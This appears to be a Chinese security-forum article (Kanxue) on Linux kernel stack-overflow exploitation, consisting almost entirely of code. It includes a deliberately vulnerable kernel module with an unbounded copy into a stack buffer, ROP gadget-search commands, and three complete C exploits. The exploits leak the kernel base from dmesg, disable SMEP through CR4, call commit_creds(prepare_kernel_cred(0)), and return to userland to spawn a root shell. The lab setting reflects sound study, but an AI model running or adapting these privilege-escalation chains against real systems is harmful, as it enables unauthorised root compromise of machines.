本文为看雪论坛精华文章
看雪论坛作者ID:PIG-007
一
简介
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
//设备驱动常用变量
static char *buffer_var;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;
static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos);
static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);
static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
// static int stack_open(struct inode *i, struct file *f)
// {
// printk(KERN_INFO "[i] Module vuln: open()\n");
// return 0;
// }
// static int stack_close(struct inode *i, struct file *f)
// {
// printk(KERN_INFO "[i] Module vuln: close()\n");
// return 0;
// }
static struct file_operations stack_fops =
{
.owner = THIS_MODULE,
// .open = stack_open,
// .release = stack_close,
.write = stack_write,
.read = stack_read
};
// 设备驱动模块加载函数
static int __init stack_init(void)
{
buffer_var=kmalloc(100,GFP_DMA);
printk(KERN_INFO "[i] Module stack registered");
if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
{
printk(KERN_INFO "[i] Module stack error");
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
cdev_init(&cdev, &stack_fops);
if (cdev_add(&cdev, stack_dev_no, 1) == -1)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
return 0;
}
// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
// 释放占用的设备号
unregister_chrdev_region(stack_dev_no, 1);
cdev_del(&cdev);
}
// 读设备
ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "Stack_read function" );
if(strlen(buffer_var)>0) {
printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
kfree(buffer_var);
buffer_var=kmalloc(100,GFP_DMA);
return 0;
} else {
return 1;
}
}
// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
printk(KERN_INFO "Stack_write function" );
char buffer[100]={0};
if (_copy_from_user(buffer, buf, len))
return -EFAULT;
buffer[len-1]='\0';
printk("[i] Module stack write: %s\n", buffer);
strncpy(buffer_var,buffer,len);
return len;
}
// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
switch (cmd) {
case 1:
break;
case 2:
break;
default:
// 不支持的命令
return -ENOTTY;
}
return 0;
}
module_init(stack_init);
module_exit(stack_exit);
MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");
ropper --file vmlinux --search "pop|ret"
objdump -d vmlinux -M intel | grep -E 'ret|pop'
ROPgadget --binary vmlinux | grep "pop rdx ; ret"
二
Stack被保护
unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;
/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");
/* find: Freeing SMP alternatives memory*/
printf("[+] Find usefull addr...\n");
FILE* file = fopen("/tmp/dmesg", "r");
while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);
if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}
return addr;
}
//main函数中
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;
unsigned char payload[300] = {0};
unsigned char *p = payload;
/* pop rax;rbx;r12;rbp;ret;*/
unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
memcpy(p,&poprax,8);
printf(" pop rax at 0x%lx\n", poprax);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF rax*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;
/* mov cr4, rax;rbp;ret */
unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
memcpy(p,&movcr4,8);
printf(" mov CR4, RAX at 0x%lx\n", movcr4);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}
/* getroot */
memcpy(p,&getR,8);
p+=8;
void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;
/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;
/* shell */
memcpy(p,&sh,8);
p+=8;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;
unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);
int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;
printf(" addr[0x%llx]\n", memOffset);
/* set value for commit_creds and prepare_kernel_cred */
commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}
/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;
/* pop rax;rbx;r12;rbp;ret */
memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
printf(" pop rax at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF */
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;
/* mov cr4, rax;rbp;ret */
memcpy(p,&movCr4Rax_pop_rbp,8);
printf(" mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;
/* getroot */
memcpy(p,&getR,8);
p+=8;
/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;
/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;
/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/
/* shell */
memcpy(p,&sh,8);
p+=8;
/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);
/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);
return 0;
}
unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;
/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");
/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");
FILE* file = fopen("/tmp/dmesg", "r");
while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);
if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}
return addr;
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}
pop rdi;ret
0
prepare_kernel_cred_k
pop rdx;rbx;rbp;ret
pop rbp;ret
0
rbp_data
mov rdi,rax;call rdx
commit_creds_k
swapgs;ret
iretq
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;
unsigned long findAddr();
static void save_state();
void shell(void);
int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rdi_ret = memOffset - 0xD17AF3;
unsigned long pop_rdx_rbx_rbp_ret = (unsigned long)memOffset-0xCB43CD;
unsigned long pop_rbp_ret = memOffset - 0xCB43CB;
unsigned long movRdiRax_call_rdx = (unsigned long)memOffset-0xF8F3AA;
unsigned long prepare_kernel_cred_k = (unsigned long)memOffset-0xFBF2E0;
unsigned long commit_creds_k = (unsigned long)memOffset-0xFBF6A0;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;
printf(" addr[0x%llx]\n", memOffset);
/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}
/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;
/*
pop rdi;ret ffffffff8131750d
0
prepare_kernel_cred_k_addr
pop rdx;rbx;rbp;ret 0xffffffff8137ac33
commit_creds_k_addr
mov rdi,rax;call rdx 0xffffffff8109fc56
swags; ....
pop rbp;ret; 0xffffffff8137ac35
0xdeadbeef
iretq; ....
shell;
CS
EFLAGS
RSP
SS
*/
/* pop rdi;ret */
printf(" pop rdi at 0x%lx\n", pop_rdi_ret);
memcpy(p,&pop_rdi_ret,8);
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;
//prepare_kernel_cred_k
printf(" prepare_kernel_cred_k_addr at 0x%lx\n", prepare_kernel_cred_k);
memcpy(p,&prepare_kernel_cred_k,8);
p+=8;
//pop rdx;rbx;rbp;ret
printf(" pop_rdx_rbx_rbp_ret at 0x%lx\n", pop_rdx_rbx_rbp_ret);
memcpy(p,&pop_rdx_rbx_rbp_ret,8);
p+=8;
//pop rbp;ret
printf(" pop_rbp_ret at 0x%lx\n", pop_rbp_ret);
memcpy(p,&pop_rbp_ret,8);
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); //rbx
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); //rbp
p+=8;
//mov rdi,rax;call rdx
printf(" mov rdi,rax;call_rdx at 0x%lx\n", movRdiRax_call_rdx);
memcpy(p,&movRdiRax_call_rdx,8);
p+=8;
//commit_creds_k
printf(" commit_creds_k at 0x%lx\n", commit_creds_k);
memcpy(p,&commit_creds_k,8);
p+=8;
/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;
/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;
/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/
/* shell */
memcpy(p,&sh,8);
p+=8;
/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);
/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);
return 0;
}
unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;
/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");
/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");
FILE* file = fopen("/tmp/dmesg", "r");
while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);
if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}
return addr;
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
三
Stack未被保护
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;
unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);
int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;
printf(" addr[0x%llx]\n", memOffset);
/* set value for commit_creds and prepare_kernel_cred */
commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}
/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;
/* getroot */
memcpy(p,&getR,8);
p+=8;
/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;
/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;
/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/
/* shell */
memcpy(p,&sh,8);
p+=8;
/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);
/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);
return 0;
}
unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;
/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");
/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");
FILE* file = fopen("/tmp/dmesg", "r");
while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);
if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}
return addr;
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}
unable to execute userspace code (SMEP?) (uid: 1000)
看雪ID:PIG-007
https://bbs.pediy.com/user-home-904686.htm
# 往期推荐
2.通过CmRegisterCallback学习注册表监控与反注册表监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!